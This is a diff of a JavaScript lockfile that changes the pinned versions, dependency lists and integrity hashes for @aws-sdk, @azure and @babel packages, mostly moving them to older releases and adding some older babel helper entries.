"sha512-KLdQGJPSm98uLINolQ0Tol8OAbk7g0Y7zplHJ1K83vbMIH13aoCvR6Tho66xueW4l4aZlEgVGLWBnD8ifUMsGQ=="],
+ "@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.952.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.947.0", "@aws-sdk/middleware-host-header": "3.936.0", "@aws-sdk/middleware-logger": "3.936.0", "@aws-sdk/middleware-recursion-detection": "3.948.0", "@aws-sdk/middleware-user-agent": "3.947.0", "@aws-sdk/region-config-resolver": "3.936.0", "@aws-sdk/types": "3.936.0", "@aws-sdk/util-endpoints": "3.936.0", "@aws-sdk/util-user-agent-browser": "3.936.0", "@aws-sdk/util-user-agent-node": "3.947.0", "@smithy/config-resolver": "^4.4.3", "@smithy/core": "^3.18.7", "@smithy/fetch-http-handler": "^5.3.6", "@smithy/hash-node": "^4.2.5", "@smithy/invalid-dependency": "^4.2.5", "@smithy/middleware-content-length": "^4.2.5", "@smithy/middleware-endpoint": "^4.3.14", "@smithy/middleware-retry": "^4.4.14", "@smithy/middleware-serde": "^4.2.6", "@smithy/middleware-stack": "^4.2.5", "@smithy/node-config-provider": "^4.3.5", "@smithy/node-http-handler": "^4.4.5", "@smithy/protocol-http": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/url-parser": "^4.2.5", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.13", "@smithy/util-defaults-mode-node": "^4.2.16", "@smithy/util-endpoints": "^3.2.5", "@smithy/util-middleware": "^4.2.5", "@smithy/util-retry": "^4.2.5", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-OtuirjxuOqZyDcI0q4WtoyWfkq3nSnbH41JwJQsXJefduWcww1FQe5TL1JfYCU7seUxHzK8rg2nFxUBuqUlZtg=="],
- "@aws-sdk/region-config-resolver": ["@aws-sdk/region-config-resolver@3.972.8", "", { "dependencies": { "@aws-sdk/types": "^3.973.6", "@smithy/config-resolver": "^4.4.11", "@smithy/node-config-provider": "^4.3.12", "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-1eD4uhTDeambO/PNIDVG19A6+v4NdD7xzwLHDutHsUqz0B+i661MwQB2eYO4/crcCvCiQG4SRm1k81k54FEIvw=="],
+ "@aws-sdk/region-config-resolver": ["@aws-sdk/region-config-resolver@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/node-config-provider": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/util-config-provider": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "tslib": "^2.6.2" } }, "sha512-Lvj1kPRC5IuJBr9DyJ9T9/plkh+EfKLy+12s/mykOy1JaKHDpvj+XGy2YO6YgYVOb8JFtaqloid+5COtje4JTQ=="],
"@aws-sdk/s3-request-presigner": ["@aws-sdk/s3-request-presigner@3.758.0", "", { "dependencies": { "@aws-sdk/signature-v4-multi-region": "3.758.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-format-url": "3.734.0", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/protocol-http": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dVyItwu/J1InfJBbCPpHRV9jrsBfI7L0RlDGyS3x/xqBwnm5qpvgNZQasQiyqIl+WJB4f5rZRZHgHuwftqINbA=="],
- "@aws-sdk/signature-v4-multi-region": ["@aws-sdk/signature-v4-multi-region@3.996.6", "", { "dependencies": { "@aws-sdk/middleware-sdk-s3": "^3.972.18", "@aws-sdk/types": "^3.973.5", "@smithy/protocol-http": "^5.3.11", "@smithy/signature-v4": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-NnsOQsVmJXy4+IdPFUjRCWPn9qNH1TzS/f7MiWgXeoHs903tJpAWQWQtoFvLccyPoBgomKP9L89RRr2YsT/L0g=="],
+ "@aws-sdk/signature-v4-multi-region": ["@aws-sdk/signature-v4-multi-region@3.758.0", "", { "dependencies": { "@aws-sdk/middleware-sdk-s3": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/protocol-http": "^5.0.1", "@smithy/signature-v4": "^5.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-0RPCo8fYJcrenJ6bRtiUbFOSgQ1CX/GpvwtLU2Fam1tS9h2klKK8d74caeV6A1mIUvBU7bhyQ0wMGlwMtn3EYw=="],
- "@aws-sdk/token-providers": ["@aws-sdk/token-providers@3.1013.0", "", { "dependencies": { "@aws-sdk/core": "^3.973.22", "@aws-sdk/nested-clients": "^3.996.12", "@aws-sdk/types": "^3.973.6", "@smithy/property-provider": "^4.2.12", "@smithy/shared-ini-file-loader": "^4.4.7", "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-IL1c54UvbuERrs9oLm5rvkzMciwhhpn1FL0SlC3XUMoLlFhdBsWJgQKK8O5fsQLxbFVqjbjFx9OBkrn44X9PHw=="],
+ "@aws-sdk/token-providers": ["@aws-sdk/token-providers@3.952.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/nested-clients": "3.952.0", "@aws-sdk/types": "3.936.0", "@smithy/property-provider": "^4.2.5", "@smithy/shared-ini-file-loader": "^4.4.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-IpQVC9WOeXQlCEcFVNXWDIKy92CH1Az37u9K0H3DF/HT56AjhyDVKQQfHUy00nt7bHFe3u0K5+zlwErBeKy5ZA=="],
- "@aws-sdk/types": ["@aws-sdk/types@3.973.6", "", { "dependencies": { "@smithy/types": "^4.13.1", "tslib": "^2.6.2" } }, "sha512-Atfcy4E++beKtwJHiDln2Nby8W/mam64opFPTiHEqgsthqeydFS1pY+OUlN1ouNOmf8ArPU/6cDS65anOP3KQw=="],
+ "@aws-sdk/types": ["@aws-sdk/types@3.734.0", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o11tSPTT70nAkGV1fN9wm/hAIiLPyWX6SuGf+9JyTp7S/rC2cFWhR26MvA69nplcjNaXVzB0f+QFrLXXjOqCrg=="],
- "@aws-sdk/util-arn-parser": ["@aws-sdk/util-arn-parser@3.972.3", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-HzSD8PMFrvgi2Kserxuff5VitNq2sgf3w9qxmskKDiDTThWfVteJxuCS9JXiPIPtmCrp+7N9asfIaVhBFORllA=="],
+ "@aws-sdk/util-arn-parser": ["@aws-sdk/util-arn-parser@3.723.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-ZhEfvUwNliOQROcAk34WJWVYTlTa4694kSVhDSjW6lE1bMataPnIN8A0ycukEzBXmd8ZSoBcQLn6lKGl7XIJ5w=="],
- "@aws-sdk/util-endpoints": ["@aws-sdk/util-endpoints@3.996.5", "", { "dependencies": { "@aws-sdk/types": "^3.973.6", "@smithy/types": "^4.13.1", "@smithy/url-parser": "^4.2.12", "@smithy/util-endpoints": "^3.3.3", "tslib": "^2.6.2" } }, "sha512-Uh93L5sXFNbyR5sEPMzUU8tJ++Ku97EY4udmC01nB8Zu+xfBPwpIwJ6F7snqQeq8h2pf+8SGN5/NoytfKgYPIw=="],
+ "@aws-sdk/util-endpoints": ["@aws-sdk/util-endpoints@3.743.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/types": "^4.1.0", "@smithy/util-endpoints": "^3.0.1", "tslib": "^2.6.2" } }, "sha512-sN1l559zrixeh5x+pttrnd0A3+r34r0tmPkJ/eaaMaAzXqsmKU/xYre9K3FNnsSS1J1k4PEfk/nHDTVUgFYjnw=="],
"@aws-sdk/util-format-url": ["@aws-sdk/util-format-url@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-TxZMVm8V4aR/QkW9/NhujvYpPZjUYqzLwSge5imKZbWFR806NP7RMwc5ilVuHF/bMOln/cVHkl42kATElWBvNw=="],
"@aws-sdk/util-locate-window": ["@aws-sdk/util-locate-window@3.568.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-3nh4TINkXYr+H41QaPelCceEB2FXP3fxp93YZXB/kqJvX0U9j0N0Uk45gvsjmEPzG8XxkPEeLIfT2I1M7A6Lig=="],
- "@aws-sdk/util-user-agent-browser": ["@aws-sdk/util-user-agent-browser@3.972.8", "", { "dependencies": { "@aws-sdk/types": "^3.973.6", "@smithy/types": "^4.13.1", "bowser": "^2.11.0", "tslib": "^2.6.2" } }, "sha512-B3KGXJviV2u6Cdw2SDY2aDhoJkVfY/Q/Trwk2CMSkikE1Oi6gRzxhvhIfiRpHfmIsAhV4EA54TVEX8K6CbHbkA=="],
+ "@aws-sdk/util-user-agent-browser": ["@aws-sdk/util-user-agent-browser@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/types": "^4.1.0", "bowser": "^2.11.0", "tslib": "^2.6.2" } }, "sha512-xQTCus6Q9LwUuALW+S76OL0jcWtMOVu14q+GoLnWPUM7QeUw963oQcLhF7oq0CtaLLKyl4GOUfcwc773Zmwwng=="],
- "@aws-sdk/util-user-agent-node": ["@aws-sdk/util-user-agent-node@3.973.9", "", { "dependencies": { "@aws-sdk/middleware-user-agent": "^3.972.23", "@aws-sdk/types": "^3.973.6", "@smithy/node-config-provider": "^4.3.12", "@smithy/types": "^4.13.1", "@smithy/util-config-provider": "^4.2.2", "tslib": "^2.6.2" }, "peerDependencies": { "aws-crt": ">=1.0.0" }, "optionalPeers": ["aws-crt"] }, "sha512-jeFqqp8KD/P5O+qeKxyGeu7WEVIZFNprnkaDjGmBOjwxYwafCBhpxTgV1TlW6L8e76Vh/siNylNmN/OmSIFBUQ=="],
+ "@aws-sdk/util-user-agent-node": ["@aws-sdk/util-user-agent-node@3.758.0", "", { "dependencies": { "@aws-sdk/middleware-user-agent": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/node-config-provider": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" }, "peerDependencies": { "aws-crt": ">=1.0.0" }, "optionalPeers": ["aws-crt"] }, "sha512-A5EZw85V6WhoKMV2hbuFRvb9NPlxEErb4HPO6/SPXYY4QrjprIzScHxikqcWv1w4J3apB1wto9LPU3IMsYtfrw=="],
- "@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.972.14", "", { "dependencies": { "@smithy/types": "^4.13.1", "fast-xml-parser": "5.5.6", "tslib": "^2.6.2" } }, "sha512-G/Yd8Bnnyh8QrqLf8jWJbixEnScUFW24e/wOBGYdw1Cl4r80KX/DvHyM2GVZ2vTp7J4gTEr8IXJlTadA8+UfuQ=="],
+ "@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.734.0", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-Zrjxi5qwGEcUsJ0ru7fRtW74WcTS0rbLcehoFB+rN1GRi2hbLcFaYs4PwVA5diLeAJH0gszv3x4Hr/S87MfbKQ=="],
"@aws/lambda-invoke-store": ["@aws/lambda-invoke-store@0.2.2", "", {}, "sha512-C0NBLsIqzDIae8HFw9YIrIBsbc0xTiOtt7fAukGPnqQ/+zZNaq+4jhuccltK0QuWHBnNm/a6kLIRA6GFiM10eg=="],
@@ -683,45 +647,55 @@
"@azure/search-documents": ["@azure/search-documents@12.0.0", "", { "dependencies": { "@azure/core-auth": "^1.3.0", "@azure/core-client": "^1.3.0", "@azure/core-http-compat": "^2.0.1", "@azure/core-paging": "^1.1.1", "@azure/core-rest-pipeline": "^1.3.0", "@azure/core-tracing": "^1.0.0", "@azure/logger": "^1.0.0", "events": "^3.0.0", "tslib": "^2.2.0" } }, "sha512-d9d53f2WWBpLHifk+LVn+AG52zuXvjgxJAdaH6kuT2qwrO1natcigtTgBM8qrI3iDYaDXsQhJSIMEgg9WKSoWA=="],
- "@azure/storage-blob": ["@azure/storage-blob@12.31.0", "", { "dependencies": { "@azure/abort-controller": "^2.1.2", "@azure/core-auth": "^1.9.0", "@azure/core-client": "^1.9.3", "@azure/core-http-compat": "^2.2.0", "@azure/core-lro": "^2.2.0", "@azure/core-paging": "^1.6.2", "@azure/core-rest-pipeline": "^1.19.1", "@azure/core-tracing": "^1.2.0", "@azure/core-util": "^1.11.0", "@azure/core-xml": "^1.4.5", "@azure/logger": "^1.1.4", "@azure/storage-common": "^12.3.0", "events": "^3.0.0", "tslib": "^2.8.1" } }, "sha512-DBgNv10aCSxopt92DkTDD0o9xScXeBqPKGmR50FPZQaEcH4JLQ+GEOGEDv19V5BMkB7kxr+m4h6il/cCDPvmHg=="],
+ "@azure/storage-blob": ["@azure/storage-blob@12.27.0", "", { "dependencies": { "@azure/abort-controller": "^2.1.2", "@azure/core-auth": "^1.4.0", "@azure/core-client": "^1.6.2", "@azure/core-http-compat": "^2.0.0", "@azure/core-lro": "^2.2.0", "@azure/core-paging": "^1.1.1", "@azure/core-rest-pipeline": "^1.10.1", "@azure/core-tracing": "^1.1.2", "@azure/core-util": "^1.6.1", "@azure/core-xml": "^1.4.3", "@azure/logger": "^1.0.0", "events": "^3.0.0", "tslib": "^2.2.0" } }, "sha512-IQjj9RIzAKatmNca3D6bT0qJ+Pkox1WZGOg2esJF2YLHb45pQKOwGPIAV+w3rfgkj7zV3RMxpn/c6iftzSOZJQ=="],
- "@azure/storage-common": ["@azure/storage-common@12.3.0", "", { "dependencies": { "@azure/abort-controller": "^2.1.2", "@azure/core-auth": "^1.9.0", "@azure/core-http-compat": "^2.2.0", "@azure/core-rest-pipeline": "^1.19.1", "@azure/core-tracing": "^1.2.0", "@azure/core-util": "^1.11.0", "@azure/logger": "^1.1.4", "events": "^3.3.0", "tslib": "^2.8.1" } }, "sha512-/OFHhy86aG5Pe8dP5tsp+BuJ25JOAl9yaMU3WZbkeoiFMHFtJ7tu5ili7qEdBXNW9G5lDB19trwyI6V49F/8iQ=="],
-
- "@babel/code-frame": ["@babel/code-frame@7.29.0", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.28.5", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw=="],
+ "@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
"@babel/compat-data": ["@babel/compat-data@7.28.5", "", {}, "sha512-6uFXyCayocRbqhZOB+6XcuZbkMNimwfVGFji8CTZnCzOHVGvDqzvitu1re2AU5LROliz7eQPhB8CpAMvnx9EjA=="],
- "@babel/core": ["@babel/core@7.29.0", "", { "dependencies": { "@babel/code-frame": "^7.29.0", "@babel/generator": "^7.29.0", "@babel/helper-compilation-targets": "^7.28.6", "@babel/helper-module-transforms": "^7.28.6", "@babel/helpers": "^7.28.6", "@babel/parser": "^7.29.0", "@babel/template": "^7.28.6", "@babel/traverse": "^7.29.0", "@babel/types": "^7.29.0", "@jridgewell/remapping": "^2.3.5", "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", "json5": "^2.2.3", "semver": "^6.3.1" } }, "sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA=="],
+ "@babel/core": ["@babel/core@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-module-transforms": "^7.28.3", "@babel/helpers": "^7.28.4", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/remapping": "^2.3.5", "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", "json5": "^2.2.3", "semver": "^6.3.1" } }, "sha512-e7jT4DxYvIDLk1ZHmU/m/mB19rex9sv0c2ftBtjSBv+kVM/902eh0fINUzD7UwLLNR+jU585GxUJ8/EBfAM5fw=="],
- "@babel/generator": ["@babel/generator@7.29.1", "", { "dependencies": { "@babel/parser": "^7.29.0", "@babel/types": "^7.29.0", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw=="],
+ "@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="],
- "@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+ "@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.25.9", "", { "dependencies": { "@babel/types": "^7.25.9" } }, "sha512-gv7320KBUFJz1RnylIg5WWYPRXKZ884AGkYpgpWW02TH66Dl+HaC1t1CKd0z3R4b6hdYEcmrNZHUmfCP+1u3/g=="],
+
+ "@babel/helper-builder-binary-assignment-operator-visitor": ["@babel/helper-builder-binary-assignment-operator-visitor@7.22.15", "", { "dependencies": { "@babel/types": "^7.22.15" } }, "sha512-QkBXwGgaoC2GtGZRoma6kv7Szfv06khvhFav67ZExau2RaXzy8MpHSMO2PNoP2XtmQphJQRHFfg77Bq731Yizw=="],
"@babel/helper-compilation-targets": ["@babel/helper-compilation-targets@7.27.2", "", { "dependencies": { "@babel/compat-data": "^7.27.2", "@babel/helper-validator-option": "^7.27.1", "browserslist": "^4.24.0", "lru-cache": "^5.1.1", "semver": "^6.3.1" } }, "sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3OTv45SyneRN3ps4DQ=="],
- "@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
+ "@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.26.9", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.25.9", "@babel/helper-member-expression-to-functions": "^7.25.9", "@babel/helper-optimise-call-expression": "^7.25.9", "@babel/helper-replace-supers": "^7.26.5", "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9", "@babel/traverse": "^7.26.9", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-ubbUqCofvxPRurw5L8WTsCLSkQiVpov4Qx0WMA+jUN+nXBK8ADPlJO1grkFw5CWKC5+sZSOfuGMdX1aI1iT9Sg=="],
"@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.26.3", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.25.9", "regexpu-core": "^6.2.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-G7ZRb40uUgdKOQqPLjfD12ZmGA54PzqDFUv2BKImnC9QIfGhIHKvVML0oN8IUiDq4iRqpq74ABpvOaerfWdong=="],
- "@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="],
+ "@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.3", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.6", "@babel/helper-plugin-utils": "^7.22.5", "debug": "^4.1.1", "lodash.debounce": "^4.0.8", "resolve": "^1.14.2" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-HK7Bi+Hj6H+VTHA3ZvBis7V/6hu9QuTrnMXNybfUf2iiuU/N97I8VjB+KbhFF8Rld/Lx5MzoCwPCpPjfK+n8Cg=="],
+
+ "@babel/helper-environment-visitor": ["@babel/helper-environment-visitor@7.22.20", "", {}, "sha512-zfedSIzFhat/gFhWfHtgWvlec0nqB9YEIVrpuwjruLlXfUSnA8cJB0miHKwqDnQ7d32aKo2xt88/xZptwxbfhA=="],
+
+ "@babel/helper-function-name": ["@babel/helper-function-name@7.23.0", "", { "dependencies": { "@babel/template": "^7.22.15", "@babel/types": "^7.23.0" } }, "sha512-OErEqsrxjZTJciZ4Oo+eoZqeW9UIiOcuYKRJA4ZAgV9myA+pOXhhmpfNCKjEH/auVfEYVFJ6y1Tc4r0eIApqiw=="],
"@babel/helper-globals": ["@babel/helper-globals@7.28.0", "", {}, "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw=="],
- "@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
+ "@babel/helper-hoist-variables": ["@babel/helper-hoist-variables@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-wGjk9QZVzvknA6yKIUURb8zY3grXCcOZt+/7Wcy8O2uctxhplmUPkOdlgoNhmdVee2c92JXbf1xpMtVNbfoxRw=="],
+
+ "@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.25.9", "", { "dependencies": { "@babel/traverse": "^7.25.9", "@babel/types": "^7.25.9" } }, "sha512-wbfdZ9w5vk0C0oyHqAJbc62+vet5prjj01jjJ8sKn3j9h3MQQlflEdXYvuqRWjHnM12coDEqiC1IRCi0U/EKwQ=="],
"@babel/helper-module-imports": ["@babel/helper-module-imports@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w=="],
- "@babel/helper-module-transforms": ["@babel/helper-module-transforms@7.28.6", "", { "dependencies": { "@babel/helper-module-imports": "^7.28.6", "@babel/helper-validator-identifier": "^7.28.5", "@babel/traverse": "^7.28.6" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWWTJvEDVNIUGcA=="],
+ "@babel/helper-module-transforms": ["@babel/helper-module-transforms@7.28.3", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-validator-identifier": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y98p2U1fqkdsw=="],
- "@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
+ "@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.25.9", "", { "dependencies": { "@babel/types": "^7.25.9" } }, "sha512-FIpuNaz5ow8VyrYcnXQTDRGvV6tTjkNtCK/RYNDXGSLlUD6cBuQTSw43CShGxjvfBTfcUA/r6UhUCbtYqkhcuQ=="],
"@babel/helper-plugin-utils": ["@babel/helper-plugin-utils@7.27.1", "", {}, "sha512-1gn1Up5YXka3YYAHGKpbideQ5Yjf1tDa9qYcgysz+cNCXukyLl6DjPXhD3VRwSb8c0J9tA4b2+rHEZtc6R0tlw=="],
- "@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-wrap-function": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA=="],
+ "@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.25.9", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.25.9", "@babel/helper-wrap-function": "^7.25.9", "@babel/traverse": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-IZtukuUeBbhgOcaW2s06OXTzVNJR0ybm4W5xC1opWFFJMZbwRj5LCk+ByYH7WdZPZTt8KnFwA8pvjN2yqcPlgw=="],
- "@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
+ "@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.26.5", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.25.9", "@babel/helper-optimise-call-expression": "^7.25.9", "@babel/traverse": "^7.26.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-bJ6iIVdYX1YooY2X7w1q6VITt+LnUILtNk7zT78ykuwStx8BauCzxvFqFaHjOpW1bVnSUM1PN1f0p5P21wHxvg=="],
- "@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
+ "@babel/helper-simple-access": ["@babel/helper-simple-access@7.24.7", "", { "dependencies": { "@babel/traverse": "^7.24.7", "@babel/types": "^7.24.7" } }, "sha512-zBAIvbCMh5Ts+b86r/CjU+4XGYIs+R1j951gxI3KmmxBMhCg4oQMsv6ZXQ64XOm/cvzfU1FmoCyt6+owc5QMYg=="],
+
+ "@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.25.9", "", { "dependencies": { "@babel/traverse": "^7.25.9", "@babel/types": "^7.25.9" } }, "sha512-K4Du3BFa3gvyhzgPcntrkDgZzQaq6uozzcpGbOO1OEJaI+EJdqWIMTLgFgQf6lrfiDFo5FU+BxKepI9RmZqahA=="],
+
+ "@babel/helper-split-export-declaration": ["@babel/helper-split-export-declaration@7.22.6", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-AsUnxuLhRYsisFiaJwvp1QF+I3KjD5FOxut14q/GzovUe6orHLesW2C7d754kRm53h5gqrz6sFl6sxc4BVtE/g=="],
"@babel/helper-string-parser": ["@babel/helper-string-parser@7.27.1", "", {}, "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA=="],
@@ -729,21 +703,21 @@
"@babel/helper-validator-option": ["@babel/helper-validator-option@7.27.1", "", {}, "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg=="],
